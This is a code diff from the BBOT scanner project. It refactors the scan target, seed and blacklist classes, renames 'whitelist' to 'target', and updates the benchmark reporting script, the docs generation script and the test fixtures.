+from bbot.core.helpers.misc import is_dns_name, is_ip, is_ip_type, strip_comments
 
 log = logging.getLogger("bbot.core.target")
 
 
-class BaseTarget(RadixTarget):
+def _host_str(value):
+    """Extract a plain host string from any BBOT input type.
+
+    Handles events, EventSeeds, ipaddress objects, and complex strings (URLs, emails, host:port).
+    Returns None if no host can be extracted.
+    """
+    if value is None:
+        return None
+    if is_event(value) or isinstance(value, BaseEventSeed):
+        h = value.host
+        return str(h) if h else None
+    if is_ip(value, include_network=True) or is_dns_name(value):
+        return str(value)
+    if isinstance(value, str):
+        try:
+            event_seed = EventSeed(value)
+            h = event_seed.host
+            return str(h) if h else None
+        except ValidationError:
+            return None
+    return None
+
+
+class BaseTarget:
     """
     A collection of BBOT events that represent a scan target.
 
-    The purpose of this class is to hold a potentially huge target list in a space-efficient way,
-    while allowing lightning fast scope lookups.
+    Uses a RadixTarget internally for fast scope lookups, and layers on
+    BBOT-specific parsing (events, URLs, emails, host:port) and hashing.
 
     This class is inherited by all three components of the BBOT target:
-        - Whitelist
+        - Target
         - Blacklist
         - Seeds
     """
 
     accept_target_types = ["TARGET"]
 
-    def __init__(self, *targets, **kwargs):
-        # ignore blank targets (sometimes happens as a symptom of .splitlines())
-        targets = [stripped for t in targets if (stripped := (t.strip() if isinstance(t, str) else t))]
+    def __init__(self, *targets, strict_scope=False, acl_mode=False):
+        # strip comments and ignore blank targets
+        targets = [stripped for t in targets if (stripped := (strip_comments(t).strip() if isinstance(t, str) else t))]
+        self.strict_scope = strict_scope
+        self._rt = RadixTarget(strict_scope=strict_scope, acl_mode=acl_mode)
         self.event_seeds = set()
-        super().__init__(*targets, **kwargs)
+        if targets:
+            self.add(list(targets))
 
     @property
     def inputs(self):
         return set(e.input for e in self.event_seeds)
 
+    @property
+    def hosts(self):
+        return set(self._rt.hosts)
+
+    @property
+    def hash(self):
+        h = self._rt.hash
+        if self.strict_scope:
+            h ^= 1
+        return h.to_bytes(8, "big", signed=True)
+
     def get(self, event, **kwargs):
+        """Look up a host in the radix tree.
+
+        Accepts events, URLs, emails, host:port strings, IPs, CIDRs, and hostnames.
+        Returns the stored data for the matching host, or None.
         """
-        Here we override RadixTarget's get() method, which normally only accepts hosts, to also accept events for convenience.
-        """
-        host = None
         raise_error = kwargs.get("raise_error", False)
-        # if it's already an event or event seed, use its host
-        if is_event(event) or isinstance(event, BaseEventSeed):
-            host = event.host
-        # save resources by checking if the event is an IP or DNS name
-        elif is_ip(event, include_network=True) or is_dns_name(event):
-            host = event
-        # if it's a string, autodetect its type and parse out its host
-        elif isinstance(event, str):
-            event_seed = self._make_event_seed(event, raise_error=raise_error)
-            host = event_seed.host
-            if not host:
-                return
-        else:
-            raise ValueError(f"Invalid target type for {self.__class__.__name__}: {type(event)}")
-        if not host:
-            msg = f"Host not found: '{event}'"
+        host_str = _host_str(event)
+        if host_str is None:
             if raise_error:
-                raise KeyError(msg)
-            else:
-                log.warning(msg)
-                return
-        results = super().get(host, **kwargs)
-        return results
-
-    def _make_event_seed(self, target, raise_error=False):
-        try:
-            return EventSeed(target)
-        except ValidationError:
-            msg = f"Invalid target: '{target}'"
-            if raise_error:
-                raise KeyError(msg)
-            else:
-                log.warning(msg)
+                raise KeyError(f"Host not found: '{event}'")
+            return None
+        return self._rt.get(host_str)
 
     def add(self, targets, data=None):
         if not isinstance(targets, (list, set, tuple)):
             targets = [targets]
         event_seeds = set()
         for target in targets:
-            event_seed = EventSeed(target)
+            # accept pre-parsed EventSeed objects to avoid expensive re-parsing
+            if isinstance(target, BaseEventSeed):
+                event_seed = target
+            else:
+                event_seed = EventSeed(target)
             if not event_seed._target_type in self.accept_target_types:
                 log.warning(f"Invalid target type for {self.__class__.__name__}: {event_seed.type}")
                 continue
             event_seeds.add(event_seed)
 
         # sort by host size to ensure consistency
-        event_seeds = sorted(event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(e.host))
+        event_seeds = sorted(event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(str(e.host)))
         for event_seed in event_seeds:
             self.event_seeds.add(event_seed)
+            # Some event seeds (e.g. ORG_STUB, USERNAME, BLACKLIST_REGEX) are not host-based and have
+            # host == None. These are still useful as parsed target entries, but cannot always be
+            # represented in the underlying RadixTarget tree, which expects a concrete host.
+            # Subclasses like ScanBlacklist may still need to see these entries (for regex handling,
+            # etc.), so we always call self._add() and let the subclass decide whether to forward to
+            # the radix layer.
             self._add(event_seed.host, data=(event_seed if data is None else data))
 
+    def _add(self, host, data):
+        """Insert a host into the radix tree.
+
+        The radix tree cannot handle host == None, but some subclasses (e.g. ScanBlacklist)
+        need to receive non-host-based entries such as BLACKLIST_REGEX. BaseTarget.add()
+        always calls self._add(); this default implementation safely ignores hostless
+        entries while still delegating normal hosts to the radix tree.
+        """
+        if host is None:
+            return
+        self._rt.insert(str(host), data=data)
+
+    # RFC 2317 classless reverse delegation names contain "/" in their labels
+    # (e.g. "207.128/25.38.186.64.in-addr.arpa").  These are valid DNS wire
+    # names but fail hostname validation.  Hickory-DNS may also backslash-
+    # escape the slash in presentation format ("128\/25").
+    _rfc2317_re = re.compile(r"[/\\].*\.in-addr\.arpa$|[/\\].*\.ip6\.arpa$", re.IGNORECASE)
+
+    def _make_event_seed(self, target, raise_error=False):
+        try:
+            return EventSeed(target)
+        except ValidationError:
+            import traceback
+
+            msg = f"Invalid target: '{target}'"
+            if raise_error:
+                raise KeyError(msg)
+            elif self._rfc2317_re.search(str(target)):
+                log.verbose(f"Skipping RFC 2317 classless delegation name: '{target}'")
+            else:
+                log.warning(msg)
+                log.trace("".join(traceback.format_stack()))
+
+    def __contains__(self, other):
+        if isinstance(other, BaseTarget):
+            for h in other.hosts:
+                if self.get(str(h)) is None:
+                    return False
+            return True
+        try:
+            return self.get(other) is not None
+        except (ValueError, TypeError):
+            return False
+
     def __iter__(self):
         yield from self.event_seeds
 
+    def __len__(self):
+        return len(self._rt)
+
+    def __bool__(self):
+        return bool(len(self._rt)) or bool(self.event_seeds)
+
+    def __eq__(self, other):
+        return self.hash == getattr(other, "hash", None)
+
+    def __hash__(self):
+        return hash(self.hash)
+
 
 class ScanSeeds(BaseTarget):
     """
     Initial events used to seed a scan.
 
-    These are the targets specified by the user, e.g. via `-t` on the CLI.
+    These are the seeds specified by the user, e.g. via `-s` on the CLI.
+    If no seeds were specified, the targets (`-t`) are copied here.
     """
 
     def get(self, event, single=True, **kwargs):
@@ -121,28 +209,35 @@ def _add(self, host, data):
             as separate events even though they have the same host.
         """
         if host:
-            try:
-                event_set = self.get(host, raise_error=True, single=False)
-                event_set.add(data)
-            except KeyError:
+            existing = self.get(str(host), raise_error=False, single=False)
+            if existing is not None:
+                existing.add(data)
+                event_set = existing
+            else:
                 event_set = {data}
             super()._add(host, data=event_set)
 
-    def _hash_value(self):
-        # seeds get hashed by event data
-        return sorted(str(e.data).encode() for e in self.event_seeds)
+    @property
+    def hash(self):
+        """Seeds get hashed by event data, not by hosts."""
+        h = _fnv1a_64(sorted(str(e.data) for e in self.event_seeds))
+        return h.to_bytes(8, "big")
 
 
 class ACLTarget(BaseTarget):
     def __init__(self, *args, **kwargs):
-        # ACL mode dedupes by host (and skips adding already-contained hosts) for efficiency
-        kwargs["acl_mode"] = True
+        # acl_mode deduplicates (parent absorbs child), but it's mutually exclusive
+        # with strict_scope in radixtarget 4.x. When strict_scope is enabled,
+        # we skip acl_mode — DNS entries need to remain separate for exact matching,
+        # and IP range dedup is handled naturally by the radix tree.
+        if not kwargs.get("strict_scope", False):
+            kwargs["acl_mode"] = True
         super().__init__(*args, **kwargs)
 
 
-class ScanWhitelist(ACLTarget):
+class ScanTarget(ACLTarget):
     """
-    A collection of BBOT events that represent a scan's whitelist.
+    A collection of BBOT events that represent a scan's targets.
     """
 
     pass
@@ -169,14 +264,14 @@ def get(self, host, **kwargs):
         # first, check event's host against blacklist
         try:
             event_seed = self._make_event_seed(host, raise_error=raise_error)
-            host = event_seed.host
-            to_match = event_seed.data
+            if event_seed is not None:
+                host = event_seed.host
+                to_match = event_seed.data
+            else:
+                to_match = str(host)
         except ValidationError:
             to_match = str(host)
-        try:
-            event_result = super().get(host, raise_error=True)
-        except KeyError:
-            event_result = None
+        event_result = super().get(host)
         if event_result is not None:
             return event_result
         # next, check event's host against regexes
@@ -193,14 +288,14 @@ def _add(self, host, data):
         if host is not None:
             super()._add(host, data)
 
-    def _hash_value(self):
-        # regexes are included in blacklist hash
-        regex_patterns = [str(r.pattern).encode() for r in self.blacklist_regexes]
-        hosts = [str(h).encode() for h in self.sorted_hosts]
-        return hosts + regex_patterns
+    @property
+    def hash(self):
+        """Blacklist hash includes both hosts and regex patterns."""
+        h = (self._rt.hash ^ _fnv1a_64(sorted(r.pattern for r in self.blacklist_regexes))) & 0xFFFFFFFFFFFFFFFF
+        return h.to_bytes(8, "big")
 
     def __len__(self):
-        return super().__len__() + len(self.blacklist_regexes)
+        return len(self._rt) + len(self.blacklist_regexes)
 
     def __bool__(self):
         return bool(len(self))
@@ -210,67 +305,72 @@ class BBOTTarget:
     """
     A convenient abstraction of a scan target that contains three subtargets:
         - seeds
-        - whitelist
+        - target
         - blacklist
 
-    Provides high-level functions like in_scope(), which includes both whitelist and blacklist checks.
+    Provides high-level functions like in_scope(), which includes both target and blacklist checks.
     """
 
-    def __init__(self, *seeds, whitelist=None, blacklist=None, strict_scope=False):
+    def __init__(self, seeds=None, target=None, blacklist=None, strict_scope=False):
         self.strict_scope = strict_scope
-        self.seeds = ScanSeeds(*seeds, strict_dns_scope=strict_scope)
-        if whitelist is None:
-            whitelist = self.seeds.hosts
-        self.whitelist = ScanWhitelist(*whitelist, strict_dns_scope=strict_scope)
-        if blacklist is None:
-            blacklist = []
-        self.blacklist = ScanBlacklist(*blacklist)
+        self._orig_seeds = seeds
+
+        target_list = list(target) if target else []
+        self.target = ScanTarget(*target_list, strict_scope=strict_scope)
+
+        # Seeds are only copied from target if target is defined but seeds are NOT defined
+        # Pass pre-parsed event_seeds to avoid expensive re-parsing of every target string
+        if seeds is None:
+            seeds = list(self.target.event_seeds)
+        self.seeds = ScanSeeds(*list(seeds), strict_scope=strict_scope)
+
+        blacklist_list = list(blacklist) if blacklist else []
+        self.blacklist = ScanBlacklist(*blacklist_list)
 
     @property
     def json(self):
-        return {
-            "seeds": sorted(self.seeds.inputs),
-            "whitelist": sorted(self.whitelist.inputs),
+        j = {
+            "target": sorted(self.target.inputs),
             "blacklist": sorted(self.blacklist.inputs),
             "strict_scope": self.strict_scope,
             "hash": self.hash.hex(),
             "seed_hash": self.seeds.hash.hex(),
-            "whitelist_hash": self.whitelist.hash.hex(),
+            "target_hash": self.target.hash.hex(),
             "blacklist_hash": self.blacklist.hash.hex(),
             "scope_hash": self.scope_hash.hex(),
         }
+        if self._orig_seeds is not None:
+            j["seeds"] = sorted(self.seeds.inputs)
+        return j
 
     @property
     def hash(self):
-        sha1_hash = sha1()
-        for target_hash in [t.hash for t in (self.seeds, self.whitelist, self.blacklist)]:
-            sha1_hash.update(target_hash)
-        return sha1_hash.digest()
+        return b"".join(t.hash for t in (self.seeds, self.target, self.blacklist))
 
     @property
     def scope_hash(self):
-        sha1_hash = sha1()
-        # Consider only the hash values of the whitelist and blacklist
-        for target_hash in [t.hash for t in (self.whitelist, self.blacklist)]:
-            sha1_hash.update(target_hash)
-        return sha1_hash.digest()
+        return b"".join(t.hash for t in (self.target, self.blacklist))
 
     def in_scope(self, host):
         """
         Check whether a hostname, url, IP, etc. is in scope.
         Accepts either events or string data.
 
-        Checks whitelist and blacklist.
-        If `host` is an event and its scope distance is zero, it will automatically be considered in-scope.
+        This method checks both target AND blacklist.
+        A host is in-scope if it is in the target AND not blacklisted.
+
+        Note: This is different from `in_target()` which only checks the target.
+        - `in_target()`: checks if host is in the target
+        - `in_scope()`: checks if host is in the target AND not blacklisted
 
         Examples:
             Check if a URL is in scope:
             >>> preset.in_scope("http://www.evilcorp.com")
             True
         """
-        blacklisted = self.blacklisted(host)
-        whitelisted = self.whitelisted(host)
-        return whitelisted and not blacklisted
+        if self.blacklisted(host):
+            return False
+        return self.in_target(host)
 
     def blacklisted(self, host):
         """
@@ -286,23 +386,55 @@ def blacklisted(self, host):
             >>> preset.blacklisted("http://www.evilcorp.com")
             True
         """
-        return host in self.blacklist
+        return self.blacklist.get(host) is not None
 
-    def whitelisted(self, host):
+    def in_target(self, host):
         """
-        Check whether a hostname, url, IP, etc. is whitelisted.
+        Check whether a hostname, url, IP, etc. is in the target.
+
+        This method ONLY checks the target, NOT the blacklist.
+        Use `in_scope()` to check both target AND blacklist.
 
         Note that `host` can be a hostname, IP address, CIDR, email address, or any BBOT `Event` with the `host` attribute.
 
         Args:
-            host (str or IPAddress or Event): The host to check against the whitelist
+            host (str or IPAddress or Event): The host to check against the target
 
         Examples:
-            Check if a URL's host is whitelisted:
-            >>> preset.whitelisted("http://www.evilcorp.com")
+            Check if a URL's host is in target:
+            >>> preset.in_target("http://www.evilcorp.com")
             True
         """
-        return host in self.whitelist
+        return self.target.get(host) is not None
 
     def __eq__(self, other):
         return self.hash == other.hash
+
+    async def generate_children(self, helpers):
+        """
+        Generate children for the target, for seed types that expand into other seed types.
+        E.g. ASN targets are expanded into their constituent IP ranges.
+        """
+        # If the user explicitly set a narrower target scope than their seeds
+        # (e.g. `-t evilcorp.com -s AS1234`), don't widen the target with expanded seeds
+        has_explicit_scope = set(self.target.inputs) != set(self.seeds.inputs)
+
+        # Expand seeds first
+        for event_seed in list(self.seeds.event_seeds):
+            children = await event_seed._generate_children(helpers=helpers)
+            for child in children:
+                self.seeds.add(child)
+
+        # Also expand blacklist event seeds (like ASN targets)
+        for event_seed in list(self.blacklist.event_seeds):
+            children = await event_seed._generate_children(helpers=helpers)
+            for child in children:
+                self.blacklist.add(child)
+
+        # Widen target scope to include expanded seed hosts (e.g. IP ranges from ASN),
+        # but only when seeds and target were originally the same
+        if not has_explicit_scope:
+            expanded_seed_hosts = set(self.seeds.hosts)
+            for host in expanded_seed_hosts:
+                if host not in self.target:
+                    self.target.add(host)
diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py
index 9ccf30a198..a5b06aec92 100644
--- a/bbot/scripts/benchmark_report.py
+++ b/bbot/scripts/benchmark_report.py
@@ -33,13 +33,25 @@ def get_current_branch() -> str:
 
 
 def checkout_branch(branch: str, repo_path: Path = None):
-    """Checkout a git branch."""
+    """Checkout a git branch, cleaning up generated and modified files first."""
+    # Reset modified tracked files (e.g. uv.lock changed by `uv sync`)
+    print("Resetting modified tracked files before checkout")
+    run_command(["git", "checkout", "--", "."], cwd=repo_path)
+    # Remove untracked files before checkout. Without this, files generated
+    # by one branch's toolchain (e.g. uv.lock from `uv run` on a Poetry
+    # branch) block checkout to a branch that tracks those same files.
+    print("Cleaning untracked files before checkout")
+    run_command(["git", "clean", "-fd"], cwd=repo_path)
     print(f"Checking out branch: {branch}")
     run_command(["git", "checkout", branch], cwd=repo_path)
 
 
 def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool:
-    """Run benchmarks and save results to JSON file."""
+    """Run benchmarks and save results to JSON file.
+
+    Returns True if benchmark JSON was written (even if some tests failed),
+    False only if benchmarks truly didn't produce any data.
+    """
     print(f"Running benchmarks, saving to {output_file}")
 
     # Check if benchmarks directory exists
@@ -49,23 +61,35 @@ def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool:
         print("This branch likely doesn't have benchmark tests yet.")
         return False
 
-    try:
-        cmd = [
-            "poetry",
-            "run",
-            "python",
-            "-m",
-            "pytest",
-            "bbot/test/benchmarks/",
-            "--benchmark-only",
-            f"--benchmark-json={output_file}",
-            "-q",
-        ]
-        run_command(cmd, cwd=repo_path, capture_output=False)
+    cmd = [
+        "uv",
+        "run",
+        "python",
+        "-m",
+        "pytest",
+        "bbot/test/benchmarks/",
+        "--benchmark-only",
+        f"--benchmark-json={output_file}",
+        "-q",
+    ]
+    result = subprocess.run(cmd, cwd=repo_path, capture_output=True, text=True)
+
+    # Print pytest output so failures are visible in CI logs
+    if result.stdout:
+        print(result.stdout)
+    if result.stderr:
+        print(result.stderr)
+
+    if result.returncode != 0:
+        print(f"Pytest exited with code {result.returncode}")
+
+    # pytest-benchmark writes JSON regardless of test failures;
+    # treat the run as successful if the output file has data
+    if output_file.exists() and output_file.stat().st_size > 0:
         return True
-    except subprocess.CalledProcessError:
-        print("Benchmarks failed for current state")
-        return False
+
+    print("Benchmark output file was not written")
+    return False
 
 
 def load_benchmark_data(filepath: Path) -> Dict[str, Any]:
@@ -175,6 +199,7 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
 |--------------|---------|------------|-----------|-----------|"""
 
     significant_changes = []
+    new_tests = []
     performance_summary = []
 
     for current_bench in current_benchmarks:
@@ -183,6 +208,7 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
         test_name = name.replace("test_", "").replace("_", " ").title()
 
         current_stats = current_bench.get("stats", {})
+        current_extra = current_bench.get("extra_info", {})
         current_mean = current_stats.get("mean", 0)
         # For multi-item benchmarks, calculate correct ops/sec
         if "excavate" in name:
@@ -195,6 +221,10 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
             current_ops = 100 / current_mean  # 100 items per test
         elif "make_event" in name and "large" in name:
             current_ops = 1000 / current_mean  # 1000 items per test
+        elif "event_memory" in name and "medium" in name:
+            current_ops = 10000 / current_mean  # 10K events per test
+        elif "event_memory" in name and "large" in name:
+            current_ops = 50000 / current_mean  # 50K events per test
         elif "ip" in name:
             current_ops = 1000 / current_mean  # 1000 IPs per test
         elif "bloom_filter" in name:
@@ -208,6 +238,7 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
         base_bench = base_lookup.get(name)
         if base_bench:
             base_stats = base_bench.get("stats", {})
+            base_extra = base_bench.get("extra_info", {})
             base_mean = base_stats.get("mean", 0)
             # For multi-item benchmarks, calculate correct ops/sec
             if "excavate" in name:
@@ -220,6 +251,10 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
                 base_ops = 100 / base_mean  # 100 items per test
             elif "make_event" in name and "large" in name:
                 base_ops = 1000 / base_mean  # 1000 items per test
+            elif "event_memory" in name and "medium" in name:
+                base_ops = 10000 / base_mean  # 10K events per test
+            elif "event_memory" in name and "large" in name:
+                base_ops = 50000 / base_mean  # 50K events per test
             elif "ip" in name:
                 base_ops = 1000 / base_mean  # 1000 IPs per test
             elif "bloom_filter" in name:
@@ -230,7 +265,23 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
             else:
                 base_ops = 1 / base_mean  # Default: single operation
 
-            change_percent, emoji = calculate_change_percentage(base_mean, current_mean)
+            # Use memory metrics if available, otherwise use time
+            current_mb = current_extra.get("total_memory_mb")
+            base_mb = base_extra.get("total_memory_mb")
+            current_peb = current_extra.get("per_event_bytes")
+            base_peb = base_extra.get("per_event_bytes")
+            if current_mb is not None and base_mb is not None and current_peb is None:
+                change_percent, emoji = calculate_change_percentage(base_mb, current_mb)
+                base_label = f"{base_mb:.1f} MB"
+                current_label = f"{current_mb:.1f} MB"
+            elif current_peb is not None and base_peb is not None:
+                change_percent, emoji = calculate_change_percentage(base_peb, current_peb)
+                base_label = f"{base_peb:.0f} B/event"
+                current_label = f"{current_peb:.0f} B/event"
+            else:
+                change_percent, emoji = calculate_change_percentage(base_mean, current_mean)
+                base_label = format_time(base_mean)
+                current_label = format_time(current_mean)
 
             # Create visual change indicator
             if abs(change_percent) > 20:
@@ -240,11 +291,18 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
             else:
                 change_bar = "⚪"
 
-            table += f"\n| **{test_name}** | `{format_time(base_mean)}` | `{format_time(current_mean)}` | **{change_percent:+.1f}%** {change_bar} | {emoji} |"
+            table += f"\n| **{test_name}** | `{base_label}` | `{current_label}` | **{change_percent:+.1f}%** {change_bar} | {emoji} |"
 
             # Track significant changes
             if abs(change_percent) > 10:
-                direction = "🐌 slower" if change_percent > 0 else "🚀 faster"
+                is_memory = (
+                    current_extra.get("per_event_bytes") is not None
+                    or current_extra.get("total_memory_mb") is not None
+                )
+                if is_memory:
+                    direction = "🐌 more memory" if change_percent > 0 else "🚀 less memory"
+                else:
+                    direction = "🐌 slower" if change_percent > 0 else "🚀 faster"
                 significant_changes.append(f"- **{test_name}**: {abs(change_percent):.1f}% {direction}")
                 if change_percent > 0:
                     regressions += 1
@@ -263,11 +321,10 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
                     "current_ops": current_ops,
                 }
             )
+
         else:
             table += f"\n| **{test_name}** | `-` | `{format_time(current_mean)}` | **New** 🆕 | 🆕 |"
-            significant_changes.append(
-                f"- **{test_name}**: New test 🆕 ({format_time(current_mean)}, {format_ops(current_ops)})"
-            )
+            new_tests.append(f"- **{test_name}**: {format_time(current_mean)}, {format_ops(current_ops)}")
 
     table += "\n\n</details>\n\n"
 
@@ -293,6 +350,13 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc
             table += f"{change}\n"
         table += "\n"
 
+    # Add new tests section
+    if new_tests:
+        table += "### 🆕 New Tests\n\n"
+        for new_test in new_tests:
+            table += f"{new_test}\n"
+        table += "\n"
+
     return table
 
 
@@ -380,9 +444,6 @@ def main():
         base_data = {}
         current_data = {}
 
-        base_data = {}
-        current_data = {}
-
         try:
             # Run benchmarks on base branch
             print(f"\n=== Running benchmarks on base branch: {args.base} ===")
diff --git a/bbot/scripts/docs.py b/bbot/scripts/docs.py
index a0c55d73f2..2b52f69316 100755
--- a/bbot/scripts/docs.py
+++ b/bbot/scripts/docs.py
@@ -6,7 +6,7 @@
 import yaml
 from pathlib import Path
 
-from bbot import Preset
+from bbot.scanner import Preset
 from bbot.core.modules import MODULE_LOADER
 
 
@@ -182,12 +182,12 @@ def update_individual_module_options():
     assert len(bbot_output_module_table.splitlines()) > 10
     update_md_files("BBOT OUTPUT MODULES", bbot_output_module_table)
 
-    # BBOT universal module options
-    from bbot.scanner.preset.args import universal_module_options
+    # BBOT universal module options (sourced from BaseModuleConfig)
+    from bbot.core.config.models import BaseModuleConfig
 
     universal_module_options_table = ""
-    for option, description in universal_module_options.items():
-        universal_module_options_table += f"**{option}**: {description}\n"
+    for name, field in BaseModuleConfig.model_fields.items():
+        universal_module_options_table += f"**{name}**: {field.description}\n"
     update_md_files("BBOT UNIVERSAL MODULE OPTIONS", universal_module_options_table)
 
     # BBOT module options
diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py
index 9ad2d932fa..df8a7cb547 100644
--- a/bbot/test/bbot_fixtures.py
+++ b/bbot/test/bbot_fixtures.py
@@ -7,15 +7,14 @@
 import tldextract
 import pytest_httpserver
 from pathlib import Path
-from omegaconf import OmegaConf  # noqa
 
 from werkzeug.wrappers import Request
 
 from bbot.errors import *  # noqa: F401
 from bbot.core import CORE
+from bbot.core.config.merge import deep_merge
 from bbot.scanner import Preset
 from bbot.core.helpers.misc import mkdir, rand_string
-from bbot.core.helpers.async_helpers import get_event_loop
 
 
 log = logging.getLogger("bbot.test.fixtures")
@@ -50,11 +49,14 @@ def tempapkfile():
 
 @pytest.fixture
 def clean_default_config(monkeypatch):
-    clean_config = OmegaConf.merge(
-        CORE.files_config.get_default_config(), {"modules": DEFAULT_PRESET.module_loader.configs()}
+    clean_config = deep_merge(
+        CORE.files_config.get_default_config(),
+        {"modules": DEFAULT_PRESET.module_loader.configs()},
     )
     with monkeypatch.context() as m:
         m.setattr("bbot.core.core.DEFAULT_CONFIG", clean_config)
+        # Also clear CORE's custom_config to ensure Preset.copy() gets a clean core
+        m.setattr(CORE, "_custom_config", {})
         yield
 
 
@@ -82,14 +84,14 @@ def bbot_scanner():
 
 
 @pytest.fixture
-def scan():
+async def scan():
     from bbot.scanner import Scanner
 
     bbot_scan = Scanner("127.0.0.1", modules=["ipneighbor"])
+    await bbot_scan._prep()
     yield bbot_scan
 
-    loop = get_event_loop()
-    loop.run_until_complete(bbot_scan._cleanup())
+    await bbot_scan._cleanup()
 
 
 @pytest.fixture
@@ -97,7 +99,7 @@ def helpers(scan):
     return scan.helpers
 
 
-httpx_response = {
+blasthttp_response = {
     "timestamp": "2022-11-14T12:14:27.377566416-05:00",
     "hash": {
         "body_md5": "84238dfc8092e5d9c0dac8ef93371a07",
@@ -146,48 +148,92 @@ def helpers(scan):
 
 @pytest.fixture
 def events(scan):
+    dummy_module = scan._make_dummy_module("dummy_module")
+
     class bbot_events:
-        localhost = scan.make_event("127.0.0.1", parent=scan.root_event)
-        ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event)
-        netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event)
-        ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event)
-        netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event)
-        domain = scan.make_event("publicAPIs.org", parent=scan.root_event)
-        subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event)
-        email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event)
-        open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event)
+        localhost = scan.make_event("127.0.0.1", parent=scan.root_event, module=dummy_module)
+        ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event, module=dummy_module)
+        netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event, module=dummy_module)
+        ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event, module=dummy_module)
+        netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event, module=dummy_module)
+        domain = scan.make_event("publicAPIs.org", parent=scan.root_event, module=dummy_module)
+        subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event, module=dummy_module)
+        email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event, module=dummy_module)
+        open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event, module=dummy_module)
         protocol = scan.make_event(
-            {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, "PROTOCOL", parent=scan.root_event
+            {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"},
+            "PROTOCOL",
+            parent=scan.root_event,
+            module=dummy_module,
+        )
+        ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event, module=dummy_module)
+        ipv6_open_port = scan.make_event(
+            "[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event, module=dummy_module
+        )
+        url_unverified = scan.make_event(
+            "https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event, module=dummy_module
+        )
+        ipv4_url_unverified = scan.make_event(
+            "https://8.8.8.8:443/hellofriend", parent=scan.root_event, module=dummy_module
+        )
+        ipv6_url_unverified = scan.make_event(
+            "https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event, module=dummy_module
         )
-        ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event)
-        ipv6_open_port = scan.make_event("[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event)
-        url_unverified = scan.make_event("https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event)
-        ipv4_url_unverified = scan.make_event("https://8.8.8.8:443/hellofriend", parent=scan.root_event)
-        ipv6_url_unverified = scan.make_event("https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event)
         url = scan.make_event(
-            "https://api.publicAPIs.org:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event
+            "https://api.publicAPIs.org:443/hellofriend",
+            "URL",
+            tags=["status-200"],
+            parent=scan.root_event,
+            module=dummy_module,
         )
         ipv4_url = scan.make_event(
-            "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event
+            "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event, module=dummy_module
         )
         ipv6_url = scan.make_event(
-            "https://[2001:4860:4860::8888]:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event
+            "https://[2001:4860:4860::8888]:443/hellofriend",
+            "URL",
+            tags=["status-200"],
+            parent=scan.root_event,
+            module=dummy_module,
+        )
+        url_hint = scan.make_event(
+            "https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url, module=dummy_module
         )
         url_hint = scan.make_event("https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url)
-        vulnerability = scan.make_event(
-            {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"},
-            "VULNERABILITY",
+        finding = scan.make_event(
+            {
+                "host": "evilcorp.com",
+                "severity": "INFO",
+                "confidence": "HIGH",
+                "description": "asdf",
+                "name": "Test Finding",
+            },
+            "FINDING",
             parent=scan.root_event,
+            module=dummy_module,
+        )
+        finding = scan.make_event(
+            {
+                "host": "evilcorp.com",
+                "description": "asdf",
+                "name": "Finding",
+                "severity": "INFO",
+                "confidence": "HIGH",
+            },
+            "FINDING",
+            parent=scan.root_event,
+            module=dummy_module,
+        )
+        http_response = scan.make_event(
+            blasthttp_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module
         )
-        finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event)
-        vhost = scan.make_event({"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event)
-        http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event)
         storage_bucket = scan.make_event(
             {"name": "storage", "url": "https://storage.blob.core.windows.net"},
             "STORAGE_BUCKET",
             parent=scan.root_event,
+            module=dummy_module,
         )
-        emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event)
